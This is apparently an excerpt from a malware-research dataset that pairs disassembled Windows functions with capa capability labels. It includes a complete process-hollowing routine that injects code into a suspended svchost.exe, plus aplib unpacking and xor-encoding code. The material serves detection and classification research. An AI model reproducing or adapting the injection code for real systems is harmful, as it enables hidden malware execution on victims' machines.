joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4033f0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str.Program_FilesInternet_Exploreriexplore.exe
push ecx
mov byte [esp + 0xa], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esp + 0x108]
lea edx, [esp]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, 1
add esp, 0x104
ret

Function at 0x4052d0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x138
push esi
mov esi, dword [esp + 0x140]
push edi
push 2
push 0
push esi
call sub.MSVCRT.dll_fseek
push esi
call sub.MSVCRT.dll_ftell
push 0
push 0
push esi
mov edi, eax
call sub.MSVCRT.dll_fseek
add esp, 0x1c
cmp edi, 0x40
jae 0x40530e
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push esi
push 1
lea eax, [esp + 0x28]
push 0x40
push eax
call sub.MSVCRT.dll_fread
add esp, 0x10
cmp word [esp + 0x20], 0x5a4d
je 0x405334
pop edi
xor al, al
pop esi
add esp, 0x138
ret
mov eax, dword [esp + 0x5c]
lea ecx, [eax + 0x18]
cmp edi, ecx
jae 0x40534a
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push 0
push eax
push esi
call sub.MSVCRT.dll_fseek
push esi
push 1
lea edx, [esp + 0x1c]
push 0x18
push edx
call sub.MSVCRT.dll_fread
add esp, 0x1c
cmp word [esp + 0x1c], 0xe0
je 0x405379
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push ebx
push esi
push 1
lea eax, [esp + 0x6c]
push 0xe0
push eax
call sub.MSVCRT.dll_fread
mov eax, dword [esp + 0x22]
and eax, 0xffff
lea ecx, [eax + eax*4]
shl ecx, 3
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
mov eax, dword [esp + 0x26]
and eax, 0xffff
push esi
push 1
lea edx, [eax + eax*4]
shl edx, 3
push edx
push ebx
call sub.MSVCRT.dll_fread
mov edi, dword [esp + 0x170]
mov ecx, 0x10
lea esi, [esp + 0x48]
mov eax, dword [esp + 0x17c]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x174]
mov ecx, 6
lea esi, [esp + 0x30]
add esp, 0x24
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x154]
mov ecx, 0x38
lea esi, [esp + 0x64]
rep movsd dword es:[edi], dword [esi]
mov dword [eax], ebx
pop ebx
pop edi
mov al, 1
pop esi
add esp, 0x138
ret
Function at 0x4054a0
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push 0
push 0
push ebp
call sub.MSVCRT.dll_fseek
mov ecx, dword [esp + 0x28]
mov ebx, dword [esp + 0x2c]
xor eax, eax
add esp, 0xc
mov ax, word [ecx + 6]
mov esi, dword [ebx + 0x3c]
test eax, eax
jle 0x4054df
mov edx, dword [esp + 0x24]
add edx, 0x14
mov ecx, dword [edx]
cmp ecx, esi
jae 0x4054d9
mov esi, ecx
add edx, 0x28
dec eax
jne 0x4054d1
mov edi, dword [esp + 0x28]
push ebp
push esi
push 1
push edi
call sub.MSVCRT.dll_fread
add esp, 0x10
cmp eax, esi
je 0x4054fb
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
mov eax, dword [ebx + 0x20]
mov ecx, dword [ebx + 0x3c]
push eax
push ecx
call fcn.00405480
mov edx, dword [esp + 0x24]
mov ebx, eax
add esp, 8
add ebx, edi
cmp word [edx + 6], 0
mov dword [esp + 0x14], 0
jbe 0x405593
mov eax, dword [esp + 0x24]
lea edi, [eax + 8]
mov esi, dword [edi + 8]
mov eax, dword [edi]
test esi, esi
jbe 0x405562
cmp esi, eax
jbe 0x405538
mov esi, eax
mov ecx, dword [edi + 0xc]
push 0
push ecx
push ebp
call sub.MSVCRT.dll_fseek
push ebp
push esi
push 1
push ebx
call sub.MSVCRT.dll_fread
add esp, 0x1c
cmp eax, esi
jne 0x4054f4
mov edx, dword [esp + 0x20]
mov ecx, dword [edi]
mov eax, dword [edx + 0x20]
push eax
push ecx
jmp 0x40556f
test eax, eax
je 0x405579
mov edx, dword [esp + 0x20]
mov ecx, dword [edx + 0x20]
push ecx
push eax
call fcn.00405480
add esp, 8
add ebx, eax
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
xor edx, edx
inc eax
mov dx, word [ecx + 6]
add edi, 0x28
cmp eax, edx
mov dword [esp + 0x14], eax
jl 0x405529
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret

Function at 0x405620
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x60
push edi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x20], 0
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x68]
lea eax, [esp + 0x20]
push edi
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push str.svchost.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4056eb
push ebx
push ebp
push esi
mov esi, dword [esp + 0x78]
push esi
mov dword [esi], 0x10007
mov ecx, dword [edi + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [esi + 0xa4]
mov ebp, dword [esp + 0x7c]
mov ecx, dword [edi]
lea edx, [esp + 0x74]
push edx
push 4
add eax, 8
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebp]
mov eax, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
lea edx, [esp + 0x10]
push 0x1c
push edx
push esi
push eax
call ebx
test eax, eax
je 0x4056d6
cmp dword [esp + 0x20], 0x10000
je 0x4056d6
mov ecx, dword [esp + 0x1c]
mov edx, dword [edi]
add esi, ecx
lea ecx, [esp + 0x10]
push 0x1c
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x4056b5
mov eax, dword [ebp]
sub esi, eax
mov eax, 1
mov dword [ebp + 4], esi
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x60
ret
xor eax, eax
pop edi
add esp, 0x60
ret
Function at 0x405730
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x2ec
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
lea edx, [esp + 4]
push ebx
push ebp
push esi
push edi
push eax
push ecx
push edx
call fcn.00405620
add esp, 0xc
test eax, eax
je 0x405914
mov ebp, dword [esp + 0x308]
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, dword [esp + 0x314]
mov ecx, dword [ebp + 0x1c]
mov dword [esp + 0x10], 0
cmp ecx, eax
jne 0x4057a2
mov ecx, dword [esp + 0x28]
cmp ebx, ecx
ja 0x4057a2
lea edx, [esp + 0x2c]
mov dword [esp + 0x10], eax
push edx
push 0x40
push ecx
push eax
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x4057e0
push str.ZwUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
push ecx
push edx
call eax
test eax, eax
jne 0x4057e0
mov eax, dword [ebp + 0x1c]
mov ecx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push eax
push ecx
call esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x310]
test eax, eax
jne 0x405848
push ebp
call fcn.00405700
add esp, 4
test eax, eax
je 0x40583c
mov edx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push 0
push edx
call esi
test eax, eax
mov dword [esp + 0x10], eax
je 0x405907
mov ecx, dword [esp + 0x304]
mov edx, dword [esp + 0x300]
push eax
mov eax, dword [esp + 0x310]
push edi
push eax
push ebp
push ecx
push edx
call fcn.004055a0
add esp, 0x18
mov eax, dword [esp + 0x10]
test eax, eax
je 0x405907
mov edx, dword [esp + 0xd4]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x18]
push 4
add edx, 8
push ecx
push edx
push eax
call esi
mov ecx, dword [esp + 0x300]
mov eax, dword [esp + 0x10]
push 0
push ebx
mov edx, dword [ecx + 0x3c]
push edi
mov dword [edx + edi + 0x34], eax
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push ecx
push edx
call esi
test eax, eax
je 0x4058ef
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x24]
cmp eax, ecx
mov dword [esp + 0x30], 0x10007
jne 0x4058b7
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x1c]
add eax, ecx
mov dword [esp + 0xe0], eax
jmp 0x4058c3
mov ecx, dword [ebp + 0x10]
add ecx, eax
mov dword [esp + 0xe0], ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov edx, dword [esp + 0x14]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov eax, dword [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
Function at 0x405920
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x240
lea eax, [esp + 0x13c]
push ebx
push esi
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x148]
push str.svchost.exe
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x405a23
lea edx, [esp + 0x148]
push 0x408d74
push edx
call sub.MSVCRT.dll_fopen
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x405a23
lea eax, [esp + 0xc]
lea ecx, [esp + 0x68]
push eax
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x30]
push edx
push eax
push ebx
call fcn.004052d0
add esp, 0x14
test al, al
je 0x405a0b
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x68]
push ecx
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.00405410
add esp, 0x10
mov edi, eax
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x405a23
mov edx, dword [esp + 0xc]
push esi
lea eax, [esp + 0x6c]
push edx
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
push ebx
call fcn.004054a0
mov eax, dword [esp + 0x24]
push edi
push esi
lea ecx, [esp + 0x88]
push eax
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x50]
push edx
push eax
call fcn.00405730
add esp, 0x30
push ebx
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x240
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x240
ret
Function at 0x42c07f
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
mov al, byte [ecx]
and dword [esp + 0x14], 0
push ebx
push ebp
mov byte [edx], al
lea eax, [edx + 1]
push esi
mov dword [esp + 0x18], eax
push edi
mov dword [esp + 0x14], edx
mov esi, dword [esp + 0x14]
lea eax, [ecx + 1]
xor edi, edi
xor ebp, ebp
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x18]
call fcn.0042c028
test eax, eax
je 0x42c1d8
lea ecx, [esp + 0x18]
call fcn.0042c028
lea ecx, [esp + 0x18]
test eax, eax
je 0x42c147
call fcn.0042c028
test eax, eax
je 0x42c109
push 4
xor edi, edi
pop ebx
lea ecx, [esp + 0x18]
call fcn.0042c028
lea edi, [eax + edi*2]
dec ebx
jne 0x42c0df
mov edx, dword [esp + 0x1c]
test edi, edi
je 0x42c100
mov eax, edx
sub eax, edi
mov al, byte [eax]
mov byte [edx], al
jmp 0x42c103
mov byte [edx], 0
inc edx
jmp 0x42c1ea
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
movzx esi, byte [eax]
mov ecx, esi
and ecx, 1
inc eax
add ecx, 2
shr esi, 1
mov dword [esp + 0x18], eax
je 0x42c13f
test ecx, ecx
je 0x42c1d3
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x42c131
jmp 0x42c1cf
xor ebp, ebp
inc ebp
jmp 0x42c1d3
call fcn.0042c05e
test edi, edi
jne 0x42c17c
cmp eax, 2
jne 0x42c177
lea ecx, [esp + 0x18]
call fcn.0042c05e
mov edx, dword [esp + 0x1c]
mov edi, eax
test edi, edi
je 0x42c1d3
mov ecx, edx
sub ecx, esi
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
dec edi
jne 0x42c16c
jmp 0x42c1cf
sub eax, 3
jmp 0x42c17f
sub eax, 2
mov ecx, dword [esp + 0x18]
mov esi, eax
movzx eax, byte [ecx]
shl esi, 8
add esi, eax
inc ecx
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x18]
call fcn.0042c05e
mov ecx, eax
cmp esi, 0x7d00
jb 0x42c1a6
inc ecx
cmp esi, 0x500
jb 0x42c1af
inc ecx
cmp esi, 0x80
jae 0x42c1ba
add ecx, 2
mov edx, dword [esp + 0x1c]
test ecx, ecx
je 0x42c1d3
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x42c1c6
mov dword [esp + 0x1c], edx
xor edi, edi
inc edi
jmp 0x42c1f0
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
mov dword [esp + 0x18], ecx
xor edi, edi
mov dword [esp + 0x1c], edx
test ebp, ebp
je 0x42c0af
sub edx, dword [esp + 0x14]
pop edi
mov eax, edx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42c375
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, edi
shr ebx, 2
and edi, 3
mov esi, ecx
test ebx, ebx
je 0x42c3a7
mov al, byte [esp + 0x14]
mov edx, dword [esi]
add al, bl
movzx ecx, al
mov eax, dword [esp + 0x10]
ror edx, cl
xor edx, eax
sub edx, ebx
mov dword [esi], edx
add esi, 4
dec ebx
jne 0x42c388
jmp 0x42c3ab
mov eax, dword [esp + 0x10]
test edi, edi
je 0x42c3b5
xor byte [esi], al
inc esi
dec edi
jne 0x42c3af
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x402400
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x6c
mov eax, dword [0x419020]
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
test eax, eax
mov dword [esi], edi
jne 0x4024c8
mov dword [esp], edi
xor eax, eax
mov ebx, 0x31
mov dword [esp + 0xc], eax
xor eax, eax
mov dword [esp + 4], ebx
lea ebx, [ebp - 0x58]
mov dword [esp + 8], eax
call sub.user32.dll_SendMessageA
mov dword [0x419020], eax
sub esp, 0x10
mov ecx, 0x3c
mov dword [esp + 4], ecx
mov dword [esp + 8], ebx
mov dword [esp], eax
call sub.gdi32.dll_GetObjectA
mov dword [ebp - 0x3c], 0x6963754c
mov eax, dword [ebp - 0x58]
mov ecx, 0x66666667
mov dword [ebp - 0x38], 0x43206164
sub esp, 0xc
mov dword [ebp - 0x34], 0x6f736e6f
lea eax, [eax + eax*8]
mov dword [ebp - 0x5c], eax
imul ecx
mov eax, dword [ebp - 0x5c]
mov word [ebp - 0x30], 0x656c
mov byte [ebp - 0x2e], 0
sar eax, 0x1f
mov dword [esp], ebx
sar edx, 2
sub edx, eax
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x54]
lea eax, [eax + eax*8]
mov dword [ebp - 0x5c], eax
imul ecx
mov eax, dword [ebp - 0x5c]
sar edx, 2
sar eax, 0x1f
sub edx, eax
mov dword [ebp - 0x54], edx
call sub.gdi32.dll_CreateFontIndirectA
mov dword [0x419020], eax
sub esp, 4
test eax, eax
je 0x4024e9
mov dword [esp + 8], eax
mov edx, 1
mov eax, 0x30
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.user32.dll_SendMessageA
sub esp, 0x10
mov dword [esp], edi
mov eax, 0x4022b0
mov dword [esp + 0xc], eax
xor eax, eax
mov dword [esp + 8], eax
mov eax, 0xd0
mov dword [esp + 4], eax
call sub.user32.dll_SendMessageA
mov dword [esi + 0xc], 0x1000
sub esp, 0x10
mov dword [esp], 0x1000
call sub.msvcrt.dll_malloc
mov dword [esi + 4], eax
mov dword [esi + 8], eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x403e10
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
xor esi, esi
push ebx
sub esp, 0x1c
mov ebx, 0xe
mov dword [ebp - 0x10], esp
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.user32.dll_SendMessageA
lea edx, [eax + 1]
add eax, 0x1f
sub esp, 0x10
and eax, 0xfffffff0
call fcn.0040dd50
mov dword [esp + 8], edx
lea esi, [esp + 0x1f]
mov ecx, 0xd
mov dword [esp + 4], ecx
and esi, 0xfffffff0
lea edi, [ebp + 0xc]
mov dword [esp + 0xc], esi
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.user32.dll_SendMessageA
sub esp, 0x10
xor edx, edx
mov dword [esp + 4], edx
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp], 0
call fcn.0040fa10
lea edx, [eax + 1]
add eax, 0x1f
and eax, 0xfffffff0
call fcn.0040dd50
mov dword [esp + 0xc], edi
lea ebx, [esp + 0x1f]
and ebx, 0xfffffff0
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], edx
call fcn.0040fa10
mov dword [esp + 0xc], ebx
xor eax, eax
mov dword [esp + 8], eax
mov eax, 0xc
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.user32.dll_SendMessageA
sub esp, 0x10
mov esp, dword [ebp - 0x10]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40d690
Capabilities:
Write file on windows

Disassembly:
push ebp
mov edx, 0x17
mov ebp, esp
push ebx
sub esp, 0x14
lea ebx, [ebp + 0xc]
mov dword [esp + 8], edx
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp], str.Mingw_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
mov eax, 1
mov dword [esp + 4], eax
call sub.msvcrt.dll_fwrite
mov dword [esp + 8], ebx
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
lea edi, [edi]

Function at 0x40d6f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 4], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], ebx
mov ebx, eax
test edi, edi
mov dword [ebp - 8], esi
mov esi, edx
jne 0x40d717
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov dword [esp], ebx
mov eax, 0x1c
mov dword [esp + 8], eax
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
call sub.kernel32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x40d7c5
mov eax, dword [ebp - 0x24]
cmp eax, 0x40
setne dl
cmp eax, 4
setne al
movzx eax, al
test eax, edx
jne 0x40d79e
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 0x40
setne dl
cmp eax, 4
setne al
movzx eax, al
test eax, edx
je 0x40d70a
lea eax, [ebp - 0x3c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.kernel32.dll_VirtualProtect
sub esp, 0x10
jmp 0x40d70a
lea eax, [ebp - 0x3c]
mov ecx, 0x40
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.kernel32.dll_VirtualProtect
sub esp, 0x10
jmp 0x40d750
mov dword [esp + 8], ebx
mov ebx, 0x1c
mov dword [esp + 4], ebx
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.0040d690
nop

Function at 0x40e0a0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x41de60]
call sub.kernel32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x40e0e0
mov dword [ebx + 0x30], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
call fcn.004150a0
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x2c], eax
add esp, 0x14
pop ebx
pop ebp
ret
call fcn.00414ff0
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x2c], eax
add esp, 0x14
pop ebx
pop ebp
ret
Function at 0x40e480
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [0x41de60]
mov edi, dword [ebp + 8]
test eax, eax
je 0x40e559
mov ecx, dword [eax + 0x2c]
test ecx, ecx
js 0x40e56e
mov edx, dword [eax + 0x2c]
test edx, edx
jne 0x40e530
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x10], eax
lea ebx, [ebp - 0x14]
mov dword [ebp - 0x14], eax
jmp 0x40e4c8
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
xor ecx, ecx
test eax, eax
mov edx, 5
je 0x40e4d8
mov ecx, dword [eax + 0x18]
xor edx, edx
cmp edx, 5
je 0x40e523
test edx, edx
jne 0x40e516
test ecx, ecx
je 0x40e4c0
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edi
mov eax, dword [edi]
mov edx, dword [edi + 4]
mov dword [esp], 1
mov dword [esp + 8], eax
mov eax, 1
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
call ecx
cmp eax, 6
je 0x40e57d
cmp eax, 8
je 0x40e4c0
mov eax, 3
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, 5
pop ebx
pop esi
pop edi
pop ebp
ret
mov ebx, dword [eax + 0x30]
call fcn.00414ff0
mov esi, eax
mov dword [esp], ebx
call sub.kernel32.dll_TlsGetValue
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call sub.kernel32.dll_SetLastError
sub esp, 4
mov eax, ebx
jmp 0x40e4b2
call fcn.0040de30
mov eax, dword [0x41de60]
mov ecx, dword [eax + 0x2c]
test ecx, ecx
jns 0x40e4a4
call fcn.0040e100
mov eax, dword [0x41de60]
jmp 0x40e4a4
mov dword [edi + 0xc], 0
mov eax, dword [ebp - 0x14]
mov edx, ebx
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, edi
call fcn.0040e3f0
cmp eax, 7
jne 0x40e51b
mov eax, dword [0x41de60]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x40e5d0
mov edi, dword [eax + 0x2c]
test edi, edi
js 0x40e5f9
mov esi, dword [eax + 0x2c]
test esi, esi
jne 0x40e5dc
mov dword [eax + 0x28], ebx
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x20]
mov ecx, dword [edx + 4]
mov ebp, dword [eax + 0x20]
mov esp, dword [edx + 8]
jmp ecx
call fcn.0040de30
mov eax, dword [0x41de60]
jmp 0x40e5ae
mov eax, dword [eax + 0x30]
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.kernel32.dll_TlsSetValue
sub esp, 8
test eax, eax
jne 0x40e5bf
call fcn.00414ff0
jmp 0x40e5bf
call fcn.0040e100
mov eax, dword [0x41de60]
jmp 0x40e5b5
Function at 0x40e860
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [0x41de60]
mov edi, dword [ebp + 8]
test eax, eax
je 0x40e8f4
mov esi, dword [eax + 0x2c]
test esi, esi
js 0x40e910
mov ebx, dword [eax + 0x2c]
test ebx, ebx
jne 0x40e930
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x10], eax
mov ecx, dword [edi + 0xc]
mov dword [ebp - 0x14], eax
test ecx, ecx
jne 0x40e8e8
lea edx, [ebp - 0x14]
mov eax, edi
call fcn.0040e3f0
cmp eax, 7
jne 0x40e9af
mov eax, dword [0x41de60]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x40e984
mov edx, dword [eax + 0x2c]
test edx, edx
js 0x40e9a0
mov edi, dword [eax + 0x2c]
test edi, edi
jne 0x40e960
mov dword [eax + 0x28], ebx
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x20]
mov ecx, dword [edx + 4]
mov ebp, dword [eax + 0x20]
mov esp, dword [edx + 8]
jmp ecx
lea edx, [ebp - 0x14]
mov eax, edi
call fcn.0040e610
jmp 0x40e8a5
call fcn.0040de30
mov eax, dword [0x41de60]
mov esi, dword [eax + 0x2c]
test esi, esi
jns 0x40e880
lea esi, [esi]
call fcn.0040e100
mov eax, dword [0x41de60]
mov ebx, dword [eax + 0x2c]
test ebx, ebx
je 0x40e88b
lea esi, [esi]
lea edi, [edi]
mov ebx, dword [eax + 0x30]
call fcn.00414ff0
mov esi, eax
mov dword [esp], ebx
call sub.kernel32.dll_TlsGetValue
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call sub.kernel32.dll_SetLastError
sub esp, 4
mov eax, ebx
jmp 0x40e88e
mov eax, dword [eax + 0x30]
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.kernel32.dll_TlsSetValue
sub esp, 8
test eax, eax
jne 0x40e8d7
call fcn.00414ff0
jmp 0x40e8d7
call fcn.0040de30
mov eax, dword [0x41de60]
mov edx, dword [eax + 0x2c]
test edx, edx
jns 0x40e8c9
lea esi, [esi]
call fcn.0040e100
mov eax, dword [0x41de60]
jmp 0x40e8c9
call sub.msvcrt.dll_abort
lea esi, [esi]
lea edi, [edi]